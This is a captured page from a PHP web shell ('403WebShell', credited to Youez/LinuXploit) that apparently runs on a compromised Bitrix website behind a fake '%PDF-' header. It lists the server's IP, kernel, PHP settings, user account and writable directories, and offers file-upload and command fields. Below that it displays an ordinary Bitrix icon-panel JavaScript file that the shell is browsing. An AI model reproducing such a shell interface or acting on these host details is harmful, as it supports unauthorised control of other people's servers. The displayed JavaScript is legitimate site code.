%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.141.35.99
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/panel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/panel//icon_panel.js
;(function() {
	"use strict";


	BX.namespace("BX.Landing.UI.Panel");


	/**
	 * @extends {BX.Landing.UI.Panel.Content}
	 * @param id
	 * @param data
	 * @constructor
	 */
	BX.Landing.UI.Panel.Icon = function(id, data)
	{
		// todo: can remove old panel?
		BX.Landing.UI.Panel.Content.apply(this, arguments);
		this.layout.classList.add("landing-ui-panel-icon");
		this.overlay.classList.add("landing-ui-panel-icon");
		this.overlay.hidden = true;
		this.resolver = (function() {});
		this.libraries = [
			BX.Landing.Icon.FontAwesome,
			BX.Landing.Icon.SimpleLine,
			BX.Landing.Icon.SimpleLineProOne,
			BX.Landing.Icon.SimpleLineProTwo,
			BX.Landing.Icon.EtLineIcons,
			BX.Landing.Icon.HSIcons
		];
		this.layout.hidden = true;
		document.body.appendChild(this.layout);
	};


	/**
	 * @type {BX.Landing.UI.Panel.Icon}
	 */
	BX.Landing.UI.Panel.Icon.instance = null;


	/**
	 * Gets instance of BX.Landing.UI.Panel.Icon
	 * @return {BX.Landing.UI.Panel.Icon}
	 */
	BX.Landing.UI.Panel.Icon.getInstance = function()
	{
		if (!BX.Landing.UI.Panel.Icon.instance)
		{
			BX.Landing.UI.Panel.Icon.instance = new BX.Landing.UI.Panel.Icon("icon_panel", {
				title: BX.Landing.Loc.getMessage("LANDING_ICONS_SLIDER_TITLE")
			});
		}

		return BX.Landing.UI.Panel.Icon.instance;
	};


	BX.Landing.UI.Panel.Icon.prototype = {
		constructor: BX.Landing.UI.Panel.Icon,
		__proto__: BX.Landing.UI.Panel.Content.prototype,

		show: function()
		{
			return new Promise(function(resolve) {
				this.resolver = resolve;
				this.makeLayout();
				BX.Landing.UI.Panel.Content.prototype.show.call(this);
			}.bind(this));
		},


		onChange: function(icon)
		{
			this.resolver(icon);
			this.hide();
		},


		makeLayout: function()
		{
			if (!this.content.innerHTML)
			{
				this.libraries.forEach(function(library) {
					this.appendSidebarButton(
						new BX.Landing.UI.Button.SidebarButton(library.id, {
							text: library.name
						})
					);

					library.categories.forEach(function(category) {
						this.appendSidebarButton(
							new BX.Landing.UI.Button.SidebarButton(category.id, {
								text: category.name,
								onClick: this.onCategoryChange.bind(this, category.id),
								child: true
							})
						);
					}, this);
				}, this);

				this.onCategoryChange(this.libraries[0].categories[0].id);
			}
		},

		onCategoryChange: function(id)
		{
			this.content.innerHTML = "";

			this.libraries.forEach(function(library) {
				library.categories.forEach(function(category) {
					if (id === category.id)
					{
						var map = new Map();

						var categoryCard = new BX.Landing.UI.Card.BaseCard({
							title: category.name,
							className: "landing-ui-card-icons"
						});

						category.items.forEach(function(item) {
							var iconLayout = document.createElement("div");
							iconLayout.className = "landing-ui-card landing-ui-card-icon";
							var icon = document.createElement("span");
							icon.className = item;
							iconLayout.appendChild(icon);
							iconLayout.addEventListener("click", function() {
								this.onChange(item);
							}.bind(this));

							categoryCard.body.appendChild(iconLayout);

							var styles = getComputedStyle(icon, ":before");

							requestAnimationFrame(function() {
								var content = styles.getPropertyValue('content');
								if (map.has(content))
								{
									iconLayout.hidden = true;
								}
								else
								{
									map.set(content, true);
								}
							}.bind(this));
						}, this);

						this.appendCard(categoryCard);
					}
				}, this);
			}, this);
		}
	}

})();

Youez - 2016 - github.com/yon3zu
LinuXploit